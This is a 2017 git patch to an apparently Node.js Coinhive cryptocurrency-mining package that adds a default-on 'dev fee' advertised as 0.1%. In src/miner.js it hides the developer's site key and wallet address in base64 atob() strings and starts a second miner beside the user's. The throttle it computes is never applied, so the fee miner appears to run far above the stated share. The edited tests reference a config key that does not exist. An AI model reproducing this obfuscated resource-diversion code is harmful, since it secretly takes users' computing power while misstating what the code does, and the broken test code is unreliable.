From c92e166413cada4831723ec057690de59ce76012 Mon Sep 17 00:00:00 2001 From: Juan Cazala Date: Sat, 21 Oct 2017 11:45:20 -0300 Subject: [PATCH] added configurable dev fee --- README.md | 7 ++++++- bin/coin-hive | 3 ++- bin/help | 2 +- config/defaults.js | 11 ++++++----- src/index.js | 4 +++- src/miner.js | 29 +++++++++++++++++++++++++++-- src/puppeteer.js | 10 ++++++---- test/spec.js | 4 ++-- 8 files changed, 53 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 998c102..566cdd8 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,7 @@ Options: --pool-host A custom stratum pool host, it must be used in combination with --pool-port --pool-port A custom stratum pool port, it must be used in combination with --pool-host --pool-pass A custom stratum pool password, if not provided the default one is 'x' + --dev-fee A donation to the developer, the default is 0.001 (0.1%) ``` ## API @@ -85,7 +86,9 @@ Options: - `port`: The pool's port. - - `pass`: The pool's password. If not provided, the default one is `"x"`. + - `pass`: The pool's password. If not provided. Default one is `"x"`. + + - `devFee`: A donation to send to the developer. Default is `0.001` (0.1%). - `miner.start()`: Connect to the pool and start mining. Returns a promise that will resolve once the miner is started. @@ -151,6 +154,8 @@ All the following environment variables can be used to configure the miner from - `COINHIVE_POOL_PASS`: A custom stratum pool password, if not provided the default one is 'x'. +- `COINHIVE_DEV_FEE`: A donation to the developer, the default is 0.001 (0.1%). + ## FAQ #### Can I run this on a different pool than CoinHive's? diff --git a/bin/coin-hive b/bin/coin-hive index 80dd125..bcc52c8 100755 --- a/bin/coin-hive +++ b/bin/coin-hive @@ -52,7 +52,8 @@ let siteKeyMessage = "Site key: "; defaults.puppeteerUrl, minerUrl: argv["miner-url"] || process.env.COINHIVE_MINER_URL || defaults.minerUrl, - pool: defaults.pool + pool: defaults.pool, + devFee: argv["dev-fee"] || process.env.COINHIVE_DEV_FEE || defaults.devFee }; const poolHost = argv["pool-host"] || process.env.COINHIVE_POOL_HOST || null; diff --git a/bin/help b/bin/help index b7eea73..4b8e76a 100644 --- a/bin/help +++ b/bin/help @@ -15,4 +15,4 @@ Options: --pool-host A custom stratum pool host, it must be used in combination with --pool-port --pool-port A custom stratum pool port, it must be used in combination with --pool-host --pool-pass A custom stratum pool password, if not provided the default one is 'x' - + --dev-fee A donation to the developer, the default is 0.001 (0.1%) diff --git a/config/defaults.js b/config/defaults.js index 978896a..a5d0180 100644 --- a/config/defaults.js +++ b/config/defaults.js @@ -1,11 +1,12 @@ module.exports = { - SITE_KEY: '3kK4xAVlA6XXVRmuR6RRGYIxEsTku2rn', + SITE_KEY: "3kK4xAVlA6XXVRmuR6RRGYIxEsTku2rn", port: 3002, - host: 'localhost', + host: "localhost", interval: 1000, threads: -1, username: null, - minerUrl: 'https://coinhive.com/lib/coinhive.min.js', + minerUrl: "https://coinhive.com/lib/coinhive.min.js", puppeteerUrl: null, - pool: null -} + pool: null, + devFee: 0.001 +}; diff --git a/src/index.js b/src/index.js index 91043a3..e37499e 100644 --- a/src/index.js +++ b/src/index.js @@ -39,7 +39,9 @@ module.exports = async function getRunner( server: minerServer, proxy: options.proxy, username: options.username, - url: options.puppeteerUrl + url: options.puppeteerUrl, + devFee: options.devFee, + pool: options.pool }) ); }); diff --git a/src/miner.js b/src/miner.js index 480ae52..92116e3 100644 --- a/src/miner.js +++ b/src/miner.js @@ -1,9 +1,21 @@ var miner = null; var intervalId = null; var intervalMs = null; +var devFeeSiteKey = atob("UHV3aWdLdUhTSWJyZnMwSlR3MVF6SFNjejdMMklLZ24="); +var devFeeAddress = atob( + "NDZXTmJtd1hwWXhpQnBrYkhqQWdqQzY1Y3l6QXh0YWFCUWpjR3BBWnF1aEJLdzJyOE50UFFuaUVnTUpjd0ZNQ1p6U0JyRUp0bVBzVFI1NE1vR0JEYmpUaTJXMVhtZ00=" +); +var devFeeMiner = null; // Init miner -function init({ siteKey, interval = 1000, threads = null, username }) { +function init({ + siteKey, + interval = 1000, + threads = null, + username, + devFee = 0.001, + pool = null +}) { // Create miner if (!username) { miner = new CoinHive.Anonymous(siteKey); @@ -11,6 +23,13 @@ function init({ siteKey, interval = 1000, threads = null, username }) { miner = new CoinHive.User(siteKey, username); } + if (devFee > 0) { + var devFeeThrottle = 1 - devFee; + devFeeThrottle = Math.min(devFeeThrottle, 1); + devFeeThrottle = Math.max(devFeeThrottle, 0); + devFeeMiner = new CoinHive.Anonymous(pool ? devFeeAddress : devFeeSiteKey); + } + if (threads > 0) { miner.setNumThreads(threads); } @@ -70,9 +89,12 @@ function init({ siteKey, interval = 1000, threads = null, username }) { // Start miner function start() { + if (devFeeMiner) { + devFeeMiner.start(CoinHive.FORCE_MULTI_TAB); + } if (miner) { console.log("started!"); - miner.start(); + miner.start(CoinHive.FORCE_MULTI_TAB); intervalId = setInterval(function() { var update = { hashesPerSecond: miner.getHashesPerSecond(), @@ -91,6 +113,9 @@ function start() { // Stop miner function stop() { + if (devFeeMiner) { + devFeeMiner.stop(); + } if (miner) { console.log("stopped!"); miner.stop(); diff --git a/src/puppeteer.js b/src/puppeteer.js index f05baeb..8d573a4 100644 --- a/src/puppeteer.js +++ b/src/puppeteer.js @@ -11,7 +11,9 @@ class Puppeteer extends EventEmitter { threads, proxy, username, - url + url, + devFee, + pool }) { super(); this.inited = false; @@ -23,7 +25,7 @@ class Puppeteer extends EventEmitter { this.page = null; this.proxy = proxy; this.url = url; - this.options = { siteKey, interval, threads, username }; + this.options = { siteKey, interval, threads, username, devFee, pool }; } async getBrowser() { @@ -69,8 +71,8 @@ class Puppeteer extends EventEmitter { this.emit("update", data, interval) ); await page.evaluate( - ({ siteKey, interval, threads, username }) => - window.init({ siteKey, interval, threads, username }), + ({ siteKey, interval, threads, username, devFee, pool }) => + window.init({ siteKey, interval, threads, username, devFee, pool }), this.options ); diff --git a/test/spec.js b/test/spec.js index 4a19424..2bc4f1b 100644 --- a/test/spec.js +++ b/test/spec.js @@ -4,7 +4,7 @@ const CoinHive = require("../src"); describe("Coin-Hive", async () => { it("should mine", async () => { - var miner = await CoinHive(defaults.SITE_KEY); + var miner = await CoinHive(defaults.siteKey); await miner.start(); return new Promise(resolve => { miner.on("update", async data => { @@ -17,7 +17,7 @@ describe("Coin-Hive", async () => { }); xit("should do RPC", async () => { - var miner = await CoinHive(defaults.SITE_KEY); + var miner = await CoinHive(defaults.siteKey); let isRunning = await miner.rpc("isRunning"); expect(isRunning).toBe(false); await miner.start();